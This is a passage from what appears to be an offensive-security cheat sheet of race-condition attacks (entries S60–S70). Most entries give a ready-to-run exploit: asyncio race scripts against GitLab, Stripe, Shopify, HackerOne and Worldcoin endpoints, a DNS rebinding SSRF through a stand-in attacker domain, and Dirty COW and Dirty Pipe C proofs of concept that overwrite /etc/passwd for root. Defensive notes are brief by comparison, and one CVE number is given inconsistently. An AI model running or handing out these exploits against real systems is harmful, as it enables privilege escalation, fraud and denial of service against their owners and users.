**Context:** 100 parallel reads → 100 cache fills → cache stampede.
**Seen in:** Real — Redis stampede

### Exploit
```python
import asyncio, aiohttp
async def r(s):
    async with s.get("https://target.com/api/user/balance",
                     headers={"Authorization":"Bearer ..."}) as r: return await r.json()
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[r(s) for _ in range(100)])
        print(f"Balances: {results[:5]}")
asyncio.run(main())
```

### Chain
1. Cache key expires
2. 100 reads → 100 cache miss
3. 100 DB queries → DoS
### Bypass / Notes
- Defense: single-flight pattern, probabilistic early expiration

---

## S60: DNS TOCTOU (DNS Rebinding)
**Context:** Resolves → connects. Race: change DNS.
**Seen in:** Real — DNS rebinding

### Exploit
```python
# 1. Register domain with low TTL (1s)
# 2. Initially public (passes allowlist)
# 3. TTL expires
# 4. Change to 127.0.0.1 (internal)
# 5. Server re-resolves → SSRF to internal
import requests
# Use rebinder.org or singularity
r1 = requests.get("https://target.com/api/proxy?url=http://attacker-rebind.com:8080/admin")
r2 = requests.get("https://target.com/api/proxy?url=http://attacker-rebind.com:8080/admin")
# r1 → connects to public (passes)
# r2 → connects to 127.0.0.1 (internal SSRF)
```

### Chain
1. Register low-TTL domain → public IP
2. SSRF endpoint resolves + connects (passes allowlist)
3. TTL expires, attacker changes DNS to 127.0.0.1
4. Next request connects to internal IP
### Bypass / Notes
- Tools: rebinder, whonow, singularity
- Defense: pin IP after first resolve

---

## S61: Dirty COW (CVE-2016-5195)
**Context:** Linux kernel race in copy-on-write. Write to read-only memory via race.
**Seen in:** CVE-2016-5196 — Linus Torvalds patch 2016
**Impact:** LPE to root on Linux 2.6.22 - 4.8.3 (every Linux from 2007 to 2016)

### Detection
```bash
uname -r
# If < 4.8.3 → vulnerable
```

### Exploit
```c
// PoC: https://github.com/dirtycow/dirtycow.github.io
#include <stdio.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/mman.h>

void *madvise_t(void *arg) { while(1) madvise(arg, 0x1000, MADV_DONTNEED); }
void *write_t(void *arg) {
    int f = open("/proc/self/mem", O_RDWR);
    while(1) { lseek(f, 0x10000000, SEEK_SET);
               write(f, "root::0:0:root:/root:/bin/bash\n", 30); }
}
int main() {
    int f = open("/etc/passwd", O_RDONLY);
    void *m = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, f, 0);
    pthread_t t1, t2;
    pthread_create(&t1, NULL, madvise_t, m);
    pthread_create(&t2, NULL, write_t, NULL);
    sleep(1);
    system("su root");
}
```

### Chain
1. Map /etc/passwd as read-only
2. Race: madvise(MADV_DONTNEED) + write(/proc/self/mem)
3. /etc/passwd overwritten with empty root password
4. `su root` → root
### Bypass / Notes
- Patched 2016
- Used in container escapes

---

## S62: Dirty Pipe (CVE-2022-0847)
**Context:** Linux kernel race in pipe buffer — missing PIPE_BUF_FLAG_CAN_MERGE flag.
**Seen in:** CVE-2022-0847 — Max Kellermann, Feb 2022
**Impact:** LPE to root on Linux 5.8 - 5.16.11, Android 12

### Detection
```bash
uname -r
# 5.8 < x < 5.16.11 → vulnerable
```

### Exploit
```c
// PoC: https://github.com/Arinerron/CVE-2022-0847-Linux-Privilege-Escalation
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
int main() {
    int fd = open("/etc/passwd", O_RDONLY);
    int p[2]; pipe(p);
    int sz = fcntl(p[1], F_GETPIPE_SZ);
    char buf[4096];
    for (int r = sz; r > 0;) { int n = r > 4096 ? 4096 : r; write(p[1], buf, n); r -= n; }
    for (int r = sz; r > 0;) { int n = r > 4096 ? 4096 : r; read(p[0], buf, n); r -= n; }
    loff_t off = 0;
    splice(fd, &off, p[1], NULL, 1, 0);
    write(p[1], "root::0:0:root:/root:/bin/bash\n", 30);
    system("su root");
}
```

### Chain
1. Open /etc/passwd
2. Fill pipe, drain, splice file into pipe
3. Write to pipe — overwrites /etc/passwd in page cache
4. `su root` → root
### Bypass / Notes
- Patched 5.16.11, 5.15.25, 5.10.102

---

## S63: CVE-2022-4037 GitLab — State Machine Bypass
**Context:** GitLab issue state transition had a race.
**Seen in:** CVE-2022-4037 — James Kettle (PortSwigger)
**Impact:** Bypass issue state machine (reopen closed, close open)

### Exploit
```python
import asyncio, aiohttp
GITLAB = "https://gitlab.com/api/v4"
TOKEN = "Bearer ..."
ISSUE = 12345
async def close(s):
    async with s.post(f"{GITLAB}/projects/ns/proj/issues/{ISSUE}",
                      headers={"Authorization":TOKEN},
                      json={"state_event":"close"}) as r: return r.status
async def reopen(s):
    async with s.post(f"{GITLAB}/projects/ns/proj/issues/{ISSUE}",
                      headers={"Authorization":TOKEN},
                      json={"state_event":"reopen"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [close(s) for _ in range(20)] + [reopen(s) for _ in range(20)]
        await asyncio.gather(*tasks)
asyncio.run(main())
```

### Chain
1. Identify state machine
2. Race conflicting transitions
3. Server processes both → invalid state
### Bypass / Notes
- CVE-2022-4037
- GitLab patched 15.7.2 (Jan 2023)
- Foundation for "Smashing the state machine" Black Hat 2023

---

## S64: Race → Unlimited Money (Stripe Discount)
**Context:** Stripe discount had race — multiple redemptions.
**Seen in:** HackerOne Resource Center — Stripe discount abuse case

### Exploit
```python
import asyncio, aiohttp
async def r(s):
    async with s.post("https://api.stripe.com/v1/coupons/REDEEM",
                      auth=("sk_test_...", "")) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[r(s) for _ in range(50)])
        print(f"Stripe redemptions: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Acquire $20K Stripe coupon
2. Race 50 redemptions
3. $1M credit
### Bypass / Notes
- Stripe first fix: added a check
- Hacker showed STILL raceable
- Lesson: atomic ops, not just checks

---

## S65: Race → Mass Account Creation
**Context:** Rate limit on signup — race to bypass.

### Exploit
```python
import asyncio, aiohttp
async def signup(s, i):
    async with s.post("https://target.com/api/signup",
                      json={"email":f"a{i}@evil.com","password":"P1!"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[signup(s, i) for i in range(1000)])
        print(f"Signups: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Race 1000 signups
2. 1000 accounts in <1s
3. Spam, free tier abuse, mass phishing
### Bypass / Notes
- Defense: IP rate limit + CAPTCHA + email verify

---

## S66: Race → 2FA Bypass (Shopify $500)
**Context:** Shopify "create new Location" — race bypassed 2FA.
**Seen in:** HackerOne #413759 — Shopify, 24 upvotes, $500

### Exploit
```python
import asyncio, aiohttp
async def cl(s):
    async with s.post("https://shopify.com/admin/api/locations",
                      cookies={"session":"SESS"},
                      json={"name":"X"}) as r: return r.status
async def aa(s):
    async with s.post("https://shopify.com/admin/api/...",
                      cookies={"session":"SESS"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [cl(s) for _ in range(20)] + [aa(s) for _ in range(20)]
        await asyncio.gather(*tasks)
asyncio.run(main())
```

### Chain
1. Login as admin (2FA bypassed via S32)
2. Race create_location — usually requires 2FA
3. One race succeeds before 2FA challenge
### Bypass / Notes
- Defense: re-validate 2FA on sensitive actions

---

## S67: Race → Privilege Escalation (Generic)
**Context:** Generic "promote user" race.

### Exploit
```python
import asyncio, aiohttp
async def p(s):
    async with s.post("https://target.com/api/admin/users/U/promote",
                      headers={"Authorization":"LOW"}) as r: return r.status
async def c(s):
    async with s.get("https://target.com/api/admin/users/U",
                     headers={"Authorization":"LOW"}) as r: return await r.json()
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [p(s) for _ in range(20)] + [c(s) for _ in range(20)]
        await asyncio.gather(*tasks)
asyncio.run(main())
```

### Chain
1. Low-priv user (broken ACL gives access to promote)
2. Race promote + check
3. Escalation
### Bypass / Notes
- Combine with broken ACL

---

## S68: Race → Data Corruption (Undeletable Member HackerOne $500)
**Context:** HackerOne "remove group member" — race made member undeletable.
**Seen in:** HackerOne #604534 — HackerOne, 126 upvotes, $500

### Exploit
```python
import asyncio, aiohttp
async def r(s):
    async with s.delete("https://hackerone.com/api/v1/groups/G/members/U/remove",
                        cookies={"session":"SESS"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[r(s) for _ in range(20)])
        print(f"Remove: {results}")
asyncio.run(main())
```

### Chain
1. Admin tries to remove member
2. Race: another process adds member to critical role
3. Can't remove (would break role)
### Bypass / Notes
- 126 upvotes — most upvoted HackerOne race
- Defense: atomic check-and-remove

---

## S69: Race → Vote Limit Bypass (Worldcoin / World ID)
**Context:** World ID SDK race — bypassed "1 human = 1 vote".
**Seen in:** Dane Sherrets (HackerOne blog, April 2024)

### Exploit
```python
import asyncio, aiohttp
NULLIFIER = "0xATTACKER"
async def v(s):
    async with s.post("https://api.worldcoin.org/v1/verify",
                      json={"nullifier_hash":NULLIFIER,"proof":"..."}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[v(s) for _ in range(20)])
        print(f"Verifications: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Valid World ID proof
2. 20 verifications in parallel
3. 20 votes / 20 airdrops
### Bypass / Notes
- Disclosed April 2024
- Defense: atomic nullifier dedup (Redis SETNX)

---

## S70: Race → One-Time Token Reuse (Generic)
**Context:** Generic "one-time token" — race to use N times.
**Seen in:** Real — every token system

### Exploit
```python
import asyncio, aiohttp
async def u(s):
    async with s.post("https://target.com/api/use_token",
                      json={"token":"ONE_TIME"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[u(s) for _ in range(20)])
        print(f"Token uses: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Find one-time token endpoint
2. Race 20 uses
3. 20 actions with single token
### Bypass / Notes
- Defense: atomic check-and-mark-used


---
